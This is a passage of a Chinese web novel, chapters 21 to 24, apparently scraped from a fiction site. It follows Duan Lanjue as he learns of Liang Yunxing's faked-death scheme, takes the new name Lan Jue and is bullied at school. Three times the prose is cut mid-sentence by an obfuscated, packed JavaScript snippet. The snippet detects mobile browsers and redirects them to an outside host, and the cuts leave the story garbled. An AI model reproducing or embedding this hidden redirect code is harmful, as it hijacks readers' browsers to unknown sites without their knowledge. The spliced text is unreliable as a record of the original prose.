不过他好歹是上过九年义务教育的人,做玉石生意也同古玩字画沾点边,被迫学了些古代文学常识。 他垂眸想了想——如果他没理解错,三年,是结婚落户的限制条件。 只有结婚三年以上的女子才有资格独立门户,否则就要从夫籍中除名,还限期三个月找到下家。 妈的封建社会……梁四再怎么给它开脱,也依旧是吃人的。 他唏嘘之情溢于言表,梁蕴行的脸色却更黑了。 正当他忍不住开口之际,段澜觉回过神来,半嗔半怪地说了一句,“你计划得这么周全,里里外外都想到了,怎么就没想到跟我说一声呢?” · 段澜觉没忘记今日“兴师问罪”的主要目的。 他这人心大,气来得快去得也快,一些非原则性的问题他常常大事化小,小事化了。 但这是原则问题。 于是眉毛一挑,手一抱便开始输出,“看在你出钱出力帮我的份上,从前的欺骗就一笔勾销了,我也懒得跟你计较。 “可我今天要不来找你,你打算什么时候告诉我你的计划? “还有,送我进学堂也是入户籍必要的一环吗,没文化不能入户?” 梁蕴行被他的几连追问聒噪得皱了皱眉,偏眼看了下窗外的日头。 “此事,有必要同你反复商讨?” “反复?” 段澜觉气笑了,“哪儿来的反复,咱们这是第一次——” “观鹤亭前,你同我提起‘形婚’一事,”梁蕴行忽地站起身来,“我以为与今日之计别无二致。” “……” 那魁梧的身躯与蛇一般的黑眸带来了极强的压迫感,逼着段澜觉向后退了半步,可它们的主人依旧不依不饶: “难不成你当日所言,只是为了同我虚与委蛇,实则有旁的算计?” 21. 转机(5) “……哪,哪儿能啊!” 段澜觉下意识觉得哪里不对,又一下子无从辩解,只能顺着他的思路弱弱道,“都这么久的事儿了,我不记得也是很正常的吧……你,你总归在开始执行之前跟我商量一下啊,说不定我——” “没必要。” 梁蕴行居高临下地睨着他,随着那层“舍己救人”的滤镜逐渐散去,此刻的他显得格外傲慢可憎。 他冷淡道,“既没有比这更好的法子,说与不说又有何差别,你照做便是了。” “我特么——” 恨不得跳起来爆锤你的天灵盖! 段澜觉被这张淬了毒的嘴气得浑身发抖,他死死掐住自己的虎口,不断同自己说:冷静,冷静啊段澜觉…… 他可是你现在唯一的救命稻草了! 妈的,要不是为了这该死的良民身份…… “行,你牛逼。”他生生忍了下来,垮着脸仰视梁蕴行。 “那送我上学呢?这个我总能知道为什么吧?” 他冷哼道,“难道这也是‘唯一的选择’?” 梁蕴行没直接回答,一步步走下堂来,逼至他跟前,眼中情绪莫辨。 “梁府与世家官宦常有往来,每逢节庆,还需入宫面圣,”他道,“若叫你丢了梁家的脸,你怕是连三年都熬不住。” “?” “送你入学堂,是为了叫你入府后的日子,不至于太尴尬。” “???” 段澜觉盯着梁蕴行那张欠揍的脸,忍耐终于到了顶点。 他刚要甩开膀子叫他见识见识什么是真正的国粹,梁蕴行却越过他,径直穿过厅堂,一眨眼便已然站到了房门后面。 “今后若还有什么要问,不妨先动动脑子。” 他拉开门,现出门外杵着的两名“四”字辈的仆奴。 “若能想通自然是好,若想不通,也不必浪费旁人的功夫,跟着做便是了。” 段澜觉:“……” 四喜/四宝:“………………” · 见完梁蕴行,段澜觉自觉陷入了一种“一身轻松但哪哪儿都不爽”的情绪里。 这种复杂的情绪一直持续了好几日,待四喜把他从被窝里挖起来时,他还做着一边跷二郎腿数钱,一边被梁蕴行毒舌讥讽的噩梦。 “怎么了……” 他肿着眼皮打了个哈欠,又瞟了眼窗外,“这才几点啊,天都是黑的……还是我直接把一天睡穿了?” “哎呦公子,您忘了吗?今日是您上学堂的日子呀!” 四喜一边给段澜觉穿鞋,一边有条不紊地指挥仆奴们给他打下手,“昨儿您睡得早,四少爷夜里遣人送来一张入学的拜帖,还有一封信,说不准儿同今日的课有关。您一会儿得抓紧看看。” “什……等,等会儿?” 段澜觉原是睡眼惺忪,闻言眼睛都大了一倍,“今天就去了?” “是啊,”四喜仰头看他,手上的动作没有丝毫耽误,“那日,四少爷没同您说吗?” “没说啊!” 靠,又坑我,个死小孩! “那怕是忘了,”四喜低头继续忙活,“这几日小的同那边打听了一下,确认就是今日。” “……” 段澜觉已经不想再去追究梁蕴行到底还要独裁多少回了,他叹了口气,像个扯线木偶般任由四喜折腾。 “你说你同‘那边’打听了一下,应该不止打听到这些吧……” 段澜觉站在镜子前,任四喜给他系上腰带,配上一块新得的玉佩和一枚香囊,目光已经恢复到平日的清明,“还打听到其他消息吗?” 四喜撩起眼,笑了笑,“公子这话是信我,还是疑我?” “嘁,你这么聪明,我那点儿心思哪里躲得过你呀。” 段澜觉也笑了,“当然是信你! “信你的忠诚,也信你现在跟我站在一队,不会做对不起我的事。” “多谢公子信任。” 四喜抿了抿唇,确定系好带子才松手,又给段澜觉扯了扯衣摆上的褶子。 “小的也是问了许多人,东拼西凑来的消息,”他絮絮道,“说是四少爷派沙杨送兰氏夫妇回村,除了看着他们,不叫他们一路上胡言乱语,还有一个顶重要的任务—— “封口。” “封口?”段澜觉没转过弯来。 “封谁的口,兰大勇和朱莲?怎么封? “我靠他不会是想拿钱封口吧…………” 说到钱段澜觉就激动了,“不是,我还没让他俩还我家产呢,他俩配拿梁家的钱吗!” “不是不是,自然不是。” 四喜笑意更深,急忙安抚道,“是封兰家村所有村民的口。” 段澜觉露出不解的神色。 四喜想了想,先退后两步跪下认错,说那日不该守在门外,偷听主子们说话,被段澜觉一个眼神瞪了回来——“我都知道你站在门外了,也算偷听吗?” 又款款起身,从容地搀着段澜觉在梳妆镜前坐下,道,“公子且听小子分析,看看有无道理。” “你说。” “小的想,若要叫您彻底摆脱兰家,光是揭发逃户一事还不足叫他二人为惧。” 四喜眼波一转,“需知此事为双刃剑,既制约了他们,亦威胁了咱们,而我朝以仁孝治国,恭顺尊长乃仁、孝之本,故官府判案亦生出一条不成文的规矩—— “良民若逾六旬,非杀人放火、勾奸叛国之重罪,皆可从轻发落。 “想必四少爷也定然想到了这点,生怕兰家夫妇逾六旬之际突然杀个回马枪,要挟您要么为他们奉养晚年,要么去官府自首,顶着被打两板子的风险也要治您一个不孝之罪……” 四喜忧心忡忡地望了段澜觉一眼,“届时,兰家村村民的证词便是他们告发您的关键凭证,一经官府核查,莫说您是相府的四少夫人了,便是神仙真人下凡,也救不了您了。” “……还有这种操作?” 段澜觉惊了,“不是,他们这么搞有什么好处?他们就不怕我也豁出去,宁可流放、坐牢,也不肯给他们一分钱赡养费?” “人为财死,鸟为食亡,若不放手一搏,又怎知自己能挣到什么境地。” 四喜替段澜觉拢好头发,提醒道,“公子别忘了,若有那一日,被拉下水的可不止您一人,梁家也有窝藏逃户之责呢……” “……” “所以,小的猜测,四少爷定是想防患于未然,要在一开始便断了他们的心思。” “怎么防,用钱收买?” 段澜觉紧蹙眉心,“这也有风险吧……万一有个那么一两户的,今天拿了钱答应他不说,明天又听兰家夫妇的撺掇想在我身上捞一笔,两头吃的人多了去了,别跟我说他不知道啊……” “自然没有那么简单。” 四喜压低身子,附耳同段澜觉说出自己打听来的重磅消息,“小的听闻,四少爷让沙杨连夜到乱葬岗,借了副同你身形差不多的尸首,一把火烧了。” “啊???” 段澜觉瞳孔微震,“他,他是要向兰家村民宣布,我死了?” “正是。” 四喜给段澜觉戴上青玉冠,在梳妆镜里同他说,“四少爷就是要断了兰家的后路,叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337440|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们将来无人可用,无证可溯。 “如此,便可将这十一年的养育之恩化整为零,一笔勾销。” · 经过这么些日子,段澜觉对梁蕴行的为人处世也有一定了解——这人虽然性格有问题,人品忽上忽下,但办事绝对是一等一的高效。 可他不知梁蕴行心思竟如此细腻,连几十年后的事都想好了,还纵横谋划,帮他把后患料理干净…… 段澜觉忽觉心里别扭,但说不清这别扭从何而来,只能归结为梁蕴行这人时好时坏,让他又恨又恨的,十分烦人。 一旁的四喜也噤了声,默默地替他梳洗打理着,留他一人慢慢消化这些消息,直至屋外传来一声吆喝—— “早饭来咯!” 阿门阿前夺门而入,各端着一大食盘的小菜,往六仙桌上摆了又摆。 “这么多菜?”四喜偏过头,一声惊呼把段澜觉的神唤了回来。 “嗯?日子不过了?” 段澜觉瞧着那满满一桌菜微微咋舌,肚子却十分应景地“咕”了一声。 “公子快看,”阿门伸出手,把香味往段澜觉方向赶,“这是熘肝尖。” 阿前也没落下,指着面前一碟子菜,“这是溜肉段。” “这是焖鸡掌。” “这时焖鸭掌。” “这是毛豆咸萝卜带子鱼。” “这是绿豆和稀泥莲子汤。” “这是——” “停,停停停停!” 段澜觉已经顺着香味走到桌旁,好气又好笑地瞟了阿前一眼,“阿前,绿豆和稀泥莲子汤是什么东西,里面掺了泥巴?” 阿前悻悻看了眼阿门,一手指着毛豆一手指着他哥,委屈道,“这道毛豆咸萝卜,里面没有带子也没有鱼! “公子,小的要告阿门不讲武德,临时改词!害我不得已编了一个……” “噗呲,哈哈哈哈哈哈……” 这么一折腾,段澜觉那些莫名其妙的小情绪一扫而空,捧着肚子开怀大笑,一旁的四喜也没忍住,紧绷的嘴角憋起一抹上扬的弧度。 阿门阿前默契地挠了挠头,跟着主子一起乐了。 “公子笑了就行,”阿前道,“咱哥俩见您前些日子从四院回来便闷头大睡,情绪也不太对劲,都快急坏了。” 阿门也趁机奉上一对筷子,“公子方才同四喜说了好一会话,这会儿应该饿了吧!快尝尝,这都是小的们卯时不到便起身,盯着小厨房做的呢。” “……辛苦了。” 段澜觉有点感动,又没有当众哭鼻子的习惯,于是摆摆手让他们一起坐下。 阿门阿前把头摇的跟拨浪鼓似的,称四少爷送来了好多书和文房四宝还没来得及收拾,便一并退了出去。 四喜也没坐,只安静给段澜觉布菜,卧房中一时又只剩主仆二人。 “你刚刚说,梁蕴行要用一具假尸体糊弄村民,把兰家对我的养育之恩一笔勾销——” 段澜觉喝了口粥,慢条斯理夹起碗里的毛豆,“可我想来想去,总觉得有Bug。” “有……巴?” “呃——” 段澜觉筷子一顿,快速眨了两下眼皮。 “我意思是,如果兰家夫妇为了那点养老钱非要咬死我,难道就不能状告咱们尸体作假,人还活着吗? “再说了,村民们只是以为我死了,可那十一年的养育是结结实实存在的……即便官府去问,他们也只会照实回答自己知道的部分,不会因为我死了,就平白无故做伪证啊?” 段澜觉扬眼看向四喜,似有预感般揣测道,“梁四难道……还有后手?” 22. 上学·改名 “公子机慧。” 四喜笑着把远处的菜腾挪过来,边布菜边道,“四少爷还让沙杨准备了一大箱子钱。” “我就知道,”段澜觉眼睛一瞪,“还是要花钱!” “公子莫急,有些钱是一定要花的。”四喜缓缓道来。 “沙杨到了兰家村,便着人将兰、朱二人牢牢看死在家中,又以兰家夫妇伤心过度为由头,打着四少爷的旗号,以被救之人及未亡人的身份,在村里开席设宴,广布钱财,说是要答谢乡邻们往日里抚育公子,照料公子的恩情。” 四喜说着,眉眼又是一弯,“不过,凡事皆有代价,赴宴受礼之人,皆需在一赡养簿上签字,承认公子为兰家村村民捡来的孤儿,无父无母,是吃百家饭、穿千家衣长大的,算不得他兰大勇和朱莲的孩子。 “兰家夫妇不在,四少爷又如此慷慨,如此不吃力又能得好处的事,村民们自然上赶着参与。待咱们的人一走,饶是兰家夫妇再有三寸不烂之舌,也抵不过白纸黑字。” 四喜呼了口气,“此诚‘化整为零’之策,也是釜底抽薪,将敌方优势挪为己用的一记妙招,四少爷,当真用心了。” 段澜觉听得一愣一愣的,连咀嚼的动作都忘了,鼓着个腮帮子震惊地看着四喜。 “你等一下,”他口齿不清道,“这计谋虽然很牛逼,可,未亡人是什么鬼?” “这小子官宣跟我结婚了?!!” 他瞳孔震惊。 “呃,只是定亲而已,”四喜眨眨眼,“若非如此,那具烧焦了的尸首还得埋在兰家村,往后若再生出什么变故——” “……” 行吧,爱亡不亡吧。 段澜觉咽下已经嚼碎的肉,好整以暇地打量着四喜。 “这些结论,都是你根据他的做法拼拼凑凑,自己想出来的?” 他笑笑,“过去你陪你家少爷读书,学过兵法吧……我怎么觉得把你留下来,像是白赚了一个郭奉孝呢?” 说罢“嘶”了一声,“梁四少爷把你送过来,不会后悔了,哪天再要回去吧?!” 四喜一愣,险些没掩饰住心头的得意,抿唇一乐,“公子可别笑话我了。” 又道,“等沙杨了结善后之事,兰家便彻底没了掣肘公子的筹码,公子往后可以自在地待在府里,高枕无忧了。” “嗨——” 段澜觉不以为然地摆摆手,心忖你也并没有听到昨天的全部话题。 梁四跟他呀,可不是要做什么真夫妻,他的世界在梁府之外,在市井林间。 “诶对了,”他突然想到,“兰家村的人可以用钱收买,念恕师太是我母亲的挚友,不会出卖我,可金湖钱庄的掌柜,不会睁眼说瞎话吧?那万一……” “公子您不知道吗?” 四喜露出一抹诧异,又转为歉意,“怪我没同公子说道,那金湖钱庄原是咱们大少夫人的陪嫁,后来家中出了点事,少夫人便将大部分银股上供朝廷,叫金湖钱庄从此成了皇家的。” 他循循道,“钱庄虽无,但掌柜们对大少夫人母家感情极深,有好几位甚至是看着大少夫人长大的,自然也会认他的情面。 “四少爷此番盘查,这位分号的刘掌柜是立了大功的,若非他机缘巧合之下遇见到浮山县打尖的梁家府卫,得知营救梁家少爷之人就是您,又对您的遭遇格外同情,冒着被兰家指责的风险同府卫密报了此事…… “四少爷想要寻着突破口帮您脱身,恐怕实属不易。” “嘶,所以金湖钱庄以前是梁家的产业?那刘掌柜……是你们的人?” 怪不得,怪不得…… 段澜觉一直觉得梁四短时间内搜罗齐这些证据证人太顺利了,就像是开了金手指,一度让他以为自己穿书了。 没想到其中一位证人就是“自己人”! 这他该说什么好……冥冥之中自有天意?还是大难不死必有后福? 四喜还在絮絮叨叨,“也不算是梁家的产业,大少夫人的嫁妆都是他自己的,我朝绝无贪占媳妇嫁妆的传统,更别提梁家——” “你刚刚说,大少夫人家里出了点事,她就把金湖钱庄整个上供了。” 段澜觉回过味来,空口吃了点咸菜,可有可无地问,“是发生了什么事呀?” “。” 四喜适时闭嘴,垂着眼给段澜觉又盛了碗粥,“小的不知。” “……” 如果他没理解错,这种“上供”算是变相充公吧? 这种伤及家族根基的大事,以四喜这耳聪目明的架势……想知道还能不知道? 无非是这个问题触及了他的底线,属于蛐蛐主子,或涉及到梁家的核心机密罢了。 很没来由的,段澜觉把这件事和昨天栾世安跟他提起的,梁蕴行少时发生的一些“祸事”联系到了一起。 他总觉得它们冥冥之中有些联系,说不准还是……同一件。 “兰兄,兰……兰兄!” “嗯?” 段澜觉回过神,只觉一个清嫩的声音在不断地呼唤他。 是栾世安的声音。 他纳闷地偏过脸,只见栾世安拼命给他打眼色,半捂着嘴含混不清道,“兰兄在发什么呆呢!学究正点你名呢,还不快起!” 学究,点我名? 点什么……卧槽!!! 段澜觉“噔”一下站起身子,差点把桌子拱到前人的后背,又把椅子砸到后人脸上,惹来两道极不友善的目光。 可此时他也顾不得什么友善不友善的了……该死,他刚才在神游什么天外……他在上课呢!!! 他小心翼翼地抬起眼向前看,只见杨学究捋着长须,坐在讲台上温和地瞧着他;台下众人纷纷侧目,有的充满好奇,有的面露不屑,有的则根本没给他任何眼神——比如和他坐了一整个对角线的梁蕴行。 栾世安就坐在他右手边,知道他没在听课,十分无奈地提醒道,“学究让你自介一番,好让诸位同门都认识认识!” 自介? 段澜觉花三秒钟理解了这个词,尴尬地扯了扯嘴角,头脑快速运转起来。 “呃……学究好,各位同门好。” 他清了清嗓子,下意识开口,“学生名唤兰——” 不对。 他改名字了。 梁蕴行昨晚给他送来一封信,那信件是他今早出门前才匆忙拆的,一共四页纸。 第一页纸上赫然画着四幅简笔画,栩栩如生地呈现了……四种动物。 “喜鹊、燕子、狗、蜘蛛?……这什么玩意?” 段澜觉一边赶路一边挥汗如雨,看着这四幅画更加来气,“他就不能写字吗?烦死了……咱们还要走多远才能到门口坐车?” “快了快了,前面就是……小的给您瞧瞧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337441|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四喜往前赶两步,接过段澜觉手里的画细细一看,倏而咧了咧嘴。 “兰公子,这四幅画——”他眨眨眼,“说的正是我呀!” “你?” 段澜觉一脑门问号,“怎么看出来的? “还有,他要写信给你,为啥不直接给你,还要先给我?” “您误会了,不是写信给我,是叫我为您念读此信。” 四喜哭笑不得,指着那张纸同他道,“这四幅画,对应的正是‘人间四喜’的场景——喜鹊报枝、燕子筑巢、忠犬看门、喜蛛结网。 “公子说,这是不是我?” “。” 段澜觉才反应过来,现在的他是个文盲人设,是个大字不识几个,小字几个不识的小老粗。 梁蕴行心细到这个份上,也算是……绝无仅有了。 “行行行,你念吧。”他把剩下的纸一递。 四喜应声接过,在匆匆赶路间见缝插针地传达了梁蕴行的意思。 第二页纸上详述了兰草的出身——生父岚为才,生母王翠,岚家世代在温州为商,读书人寥寥,岚为才是岚家最后一个秀才。 第三页却峰回路转,介绍了姓岚的另一个家族。 这家人的身份可比岚为才家高多了,虽也行商,家中却出过好几个秀才,女婿孙女婿中也不乏读书人,一看便是从“邪路”往正路上靠的好人家。 最重要的是——这家人,居然是栾夫人出了五服的亲戚? 这还能算“亲”戚吗,那都疏到喜马拉雅山了吧…… 最后一页只写了寥寥数十字,段澜觉好奇暼了一眼,竟看见一笔恣意遒劲的疏朗行书,上写: “怙恃既非兰姓,当改姓易名,归从其族。今以远房表弟岚氏族子之身协汝入学,事急从权,名、号、字犹未取,望从速践实,慎言莫失。” 这意思是…… “公子,四少爷给您换了个身份,唤您速速想好名、号、字,以全应对之策。”四喜阖上信页,总结道。 果然。 段澜觉承前想后,倏忽恍然大悟——原来栾世安说的“远房亲戚”,真的是他。 梁蕴行为了给他安排入学,竟找了个姓岚的远房亲戚来托付身份,这姓氏还和兰草本家如出一辙…… 段澜觉突然又别扭起来了。 就这么别扭了一路,他拖拖拉拉,左右脑互搏许久,直至踏进学堂那刻才定下自己的名字—— “学生名唤岚珏,祖籍尹州,岚为山岚之岚,珏为双玉成珏,无字无号,学究与各位同门直呼我大名就好。” 他一俯首,端出一副做作十足的古典气质,却装得还像那么个样子。 “岚珏?嗯……好名字。” 学究点点头,和蔼的脸上现出一抹若有似无的笑意,“石韫玉而山辉,水怀珠而川媚。此名有山有玉,自当辉呈万里,灵泽绵延哉……” 岚珏没想到这样一个谐音名能得学究如此高的评价和祝福,当即乐了,又朝学究福了福身,“谨承学究贵言,学生……尽量不让您丢人。” “好好好……既说到姓名,不若就由岚小公子为咱们说一说,邹朝的姓氏源流与郡望世系吧。” “……” 岚珏腰还没来得及打直,笑容便僵在了脸上。 什么源流?什么……郡王世袭? 这算是,史上最快打脸现场吗? 23. 上学·风波 “岚兄改名字了?” 终于熬到下学的栾世安迫不及待凑了上来,憋了一肚子的话如同机关枪一般往外突突,“什么时候的事,怎么连姓氏都变了? “方才你答不上来,我都急坏了,还好有四表哥接腔,夫子才不至于生气…… “夫子也是的,一上来便为难你,什么姓氏源流世系的,连我都糊里糊涂,你一个新来的能知道些什么呀…… “诶,岚兄读过百家姓没?要不要我——” “世安啊……” 岚珏深陷重返校园的痛苦中,被栾世安念经念得脑袋发烫,颓丧着掐断了他的话头,“咱们晚点再聊行么,我现在,不,我今天都不想说话了……” “噢,”栾世安挠挠后脑勺,余光觑着梁蕴行大步出了学堂,连忙道,“那我同四表哥在院里等你,咱们一道回府,你快些过来。” “嗯嗯嗯……” 岚珏今天只让阿门进了书塾,叫四喜留在外院候着。 眼下阿门正在慢吞吞地收拾书桌,岚珏从他笨拙的动作看出——这哥俩确实没近身伺候过人。 但他也不急,刚刚的丢人已经叫他的心满是疲惫,就这么呆坐着放空一下也是好的…… “哟,岚小公子怎么自己落下了?” 一道嘲讽意味十足的声音自岚珏头顶响起,岚珏懒懒撩起眼,瞥见几个公子哥朝他走来,为首的已经站定在他身旁。 那人长得倒不差,三庭五眼都在一个还算过得去的比例上,头顶宝石金冠,周身服饰堪称奢华,手中还握着一把镶着象牙的折扇,附庸风雅般摇着晃着。 他打量了岚珏几眼,蓦地轻蔑一笑,恨不得以鼻孔看人。 “也难怪,远亲远亲,远了便不算亲戚了,”他喉间一嗤,“想来岚小公子为了在杨学究的课上霸占一席之地,也是下了血本才傍上梁家这棵大树吧。” “……”岚珏懒洋洋地睨着他,眼底尽是不耐,再三权衡之下还是忍下了说脏话的冲动,只没好气地回了句,“你谁?” “你不认得我?” 那人似没料到岚珏这般疏狂,有些惊诧,又自觉十分没脸,折扇一收眉毛一竖,“尔等贱商之子,能与我同门一场已是大幸,竟敢同我这般说话?当真是反了天了!” 岚珏皱着眉打量着这号人,表情愈发不耐烦,若是段小续或苗兰在这就该看出来,他下一秒要么口吐芬芳,要么说出那句经典名言—— “你是人民币吗谁都要认识你?” 但他见这人态度嚣张,貌似来头不小,自己又官司缠身,多一事不如少一事,正巧阿门收拾停当,他伸了个懒腰缓缓起身,斜眼白了那人一下,抬腿要走。 “慢着——” 几名喽啰凑上去将他拦住,那人盯着他冷笑一声,“没规矩的乡巴佬,谁让你走了?” 岚珏深吸一口气咽下,偏过头,似笑非笑地睨着那人。 “那你想怎样呢,不知名少爷?” 他语气堪称吊儿郎当,“我给你唱个曲儿说个书,顺便再给你来个全套马杀鸡怎样啊?!” “什么马什么鸡……你!你讽刺我!” 那纨绔听不懂岚珏的话,只从他表情看出这话绝不是好话,表情蓦地阴狠起来,“狗仗人势的玩意,你给我说清楚再走!” “我说你个鸡蛋灌——” “公子!” 四喜闻声而入,匆匆挡在岚珏身前,脸颊因急促而微微泛红。 他喘了口气,先冲那人行了个规规矩矩的礼,又冲其他喽啰福了福身,礼毕方道,“戚公子见谅,我家公子前几日方从尹州上京,还未来得及拜谒京中的贵人,一时认不出您也是情有可原,望戚公子不要怪我家公子才好。” 又微微侧身,偏头向岚珏介绍,“公子,这位是戚老太师的嫡孙,戚姚戚公子,这几位也是京中达官贵人们的嫡子嫡孙。” 他讪笑着看了看两边,试图打圆场道,“都是误会,望诸位公子看在同门一场的情分上,莫要记在心上,” “哼,”戚姚见终于来了个明白人,冷冷瞥了一眼,却发现是个熟面孔,“嘶,你是那个,那个——” “戚公子好记性。” 四喜低头回话,语气极尽乖顺,“小的是梁家家生子,原是伺候四少爷的,现如今是岚公子的人了。” “噢——” 戚姚笑了笑,又白了岚珏一眼,轻蔑之意溢于言表,“你家倒高风亮节,不嫌穷亲戚多,还把近随送出去,好吃好住地伺候着。” “你特么有完——” “公子们都累了吧!” 四喜死死按下岚珏往前闯的冲动,机敏的目光在戚姚和喽啰们身上逡巡,“天干物燥,诸位哥儿火气重,因一点小事在书院里闹起来,传到学究耳中终究不好听。 “不若诸位都先回府里歇息?” 他端着笑,小心翼翼地铺好台阶,“改日我家公子定送拜帖上门,携礼相访,还望诸位贵人届时不要推拒才是。” 戚姚眼一转眉一挑,似乎终于想起这不在自家地盘,凌人气焰当即灭了大半,又见梁家连四喜这样的仆奴都能给了岚珏,想来他远房亲戚的身份也并非自己想象的那般任人揉捏。 他垂眸思索片刻,蓦地将手一背。 “得了,今儿个小爷也累了,便不同这不识趣的人计较了。” 他转身要走,又将将停下脚,回头盯着岚珏眯了眯眼,“不过你这位子怎么来的,你心里有数,往后便该识趣些,别触我的霉头,否则——” 他冷笑一声,带着一群跟班呼啦啦出了学堂。 · “操,这人谁呀!!!” 岚珏生等着那群人没了踪影才爆出一句粗口,他感觉自己耐心真是越来越好了,都被欺负到头上了还没动手,“他特么有病吧!!!” 四喜刚要张嘴,却见岚珏狠狠地踢了下自己的桌凳,把杵在边上的阿门吓得一抖。 “你听见他刚刚说什么了吗?” 岚珏气红了脸,面朝四喜抬手指着戚姚离去的方向,“他什么意思?什么位子什么穷亲戚,关他屁事啊我说? “这人是个傻波一吧!要不是你刚拦着我我非得——” “公子消消气,消消气!” 四喜连忙上前顺了顺岚珏的后背,压低嗓子道,“我的祖宗诶,您轻点声,别叫那起子纨绔听见了,回头又寻你麻烦。” “我怕他?” 岚珏撸起袖子,“我巴不得他现在回来,看我不给他揍得满地找牙!” “别,公子千万别动手!”四喜又慌又急,连忙招呼阿前带上东西,推着岚珏出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337442|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了门。 “也怪我不好,明知戚公子是个不知天高地厚的小霸王,却没提醒您当心他,”四喜叹了口气,“我知道戚公子爱犯浑,却没想到他敢公然在学堂里冲您发难,当真是——” “你别怪自己!”岚珏气鼓鼓地往前疾行,边走边骂,“神经病做事哪有什么逻辑可言?你什么都能预判,那干脆到街上去算命得了,酬劳说不定比梁家给你的翻三倍!” “呃……” 四喜见岚珏此时还护着自己,心一软,凑近了道,“公子叫我别怪自己,那公子也得消消气才是,没得叫这疯子气坏了身子,当真不值。” “气坏倒不至于,但这姓戚的到底什么情况?” 岚珏简直莫名其妙,“他是针对我,还是针对插班生?每个新入学的人都要被他这样,阴阳怪气一通吗?” “插班生?” 四喜眼珠一转,明白了岚珏的意思,苦笑道,“非也,戚公子贸然冲您发难,是有原因的。” “什么原因?他是神经病?”岚珏翻了个白眼。 四喜想笑又不敢笑,压着嗓子道,“他的小舅子,戚家少夫人的嫡亲弟弟陈小公子,曾托戚家的关系,想拜入学究门下读书。 “然则这陈公子秉行恶劣,在苻州老家欺男霸女、行事不端之事人尽皆知,自然也传到了学究的耳朵里。 “学究一口回绝了戚公子,转头便应下四少爷,让您跟着上学……您说,戚公子能不气吗?” “……” 岚珏无语了,这也行? “还有一事,虽是陈年旧事,但估摸着戚公子也一并把账算到您头上了。” 四喜顿了顿,让阿门先走几步探路,他则左顾右盼,确认四下无人后才道,“小的原不该妄议主子之事,可戚公子既先发制人,小的也不得不同您提上一嘴。 “戚家大姑娘,原是要说给咱大少爷做正头夫人的,却被大相公和夫人双双拒了。” “?” 岚珏听得眼睛都大了,“还有这回事!” 四喜点头,“是。紧接着大少爷就娶了大少夫人,满城轰动……可依小的看,即便世家大户都在说梁家的闲话,戚家却是该庆幸没把女儿嫁进来的,毕竟强扭的瓜不甜,大少爷也绝不会看上那姑娘……殊不知经此一事,戚家同梁家的龃龉仿佛更深了,当真是叫人困惑至极。” “有啥困惑的,他们就觉得自己地位超然,梁家不选他们就是梁家不给面子呗!” 岚珏对这家人的品行嗤之以鼻,捞起布兜在手里甩来甩去,“果然啊,神经病是会遗传的,你看戚姚那个仗势欺人的鸟样,就知道他有爹生没爹教,一家人都是那副德行。” 四喜扯了扯嘴角,“总而言之,自那以后,戚家同梁家不和便成了满汴都都知道的事,听说在朝堂上也——” 似乎意识到自己不该妄议朝政,四喜连忙闭嘴,想想又叹了口气。 “戚老太师告老隐退,后人亦无济世之才,戚家日渐凋零,是忌惮梁家的威势才把这口恶气生生咽下去的。” 他忧心忡忡地看向岚珏,“可如今,您来了。” “再没有比一个五服之外,看似无足轻重的远房亲戚更好拿捏的软柿子了……”他又叹了口气,“真不知这戚少爷还要闹到什么份上,才肯善罢甘休啊……” 24. 木已成舟(1) “呵,他还想闹到什么程度?” 岚珏原本只觉这人有病,听完这盘根错节之后更觉这人狐假虎威,翻不起什么风浪。 “他们两家都是体面人,他再跋扈,总不好真的跟我动手吧……”岚珏眉毛一竖,“何况我又不是真的远房亲戚! “实在不行我就去和梁家告状,梁老四性格再古怪,亲疏远近总不能分不清吧?我就不信他能看着自己的未,未……未婚妻,被人欺负死!” “公子说得是。” 四喜强自扯了扯嘴角,“只是梁家、戚家积怨已深,戚家虽没落,瘦死的骆驼却比马大……若戚公子只是逞口舌之快小打小闹,梁家怕是不好做什么大动作。” 说罢看向岚珏,眼神里多了一份心疼与无奈,“届时,怕是要叫公子您委屈一阵了……” “说两嘴没事,大不了我也阴阳回去。” 岚珏不屑,“可他不能没完没了地羞辱我,让我下跪什么的,否则我一忍再忍,丢的不止我自己的脸,梁家的脸也让我丢尽了吧?” “是,公子思虑周全,小的也定会护着您,尽量叫您避开那起子纨绔。” 四喜苦笑,“您若实在避不开,多同四少爷或表少爷待在一处也是好的,戚公子有所避忌,便不会咄咄逼人了。” “呵,和他们待在一起……” 岚珏眺着远远的两道身影,没好气道,“世安还行,可你看另一位?一下课跑得比兔子还快!生怕我逮着他薅似的。” 想想又嘀咕了一嘴,“其实我压根不该来读书……说是怕我没文化丢人现眼待不下去,实际是他自己怕丢脸吧…… 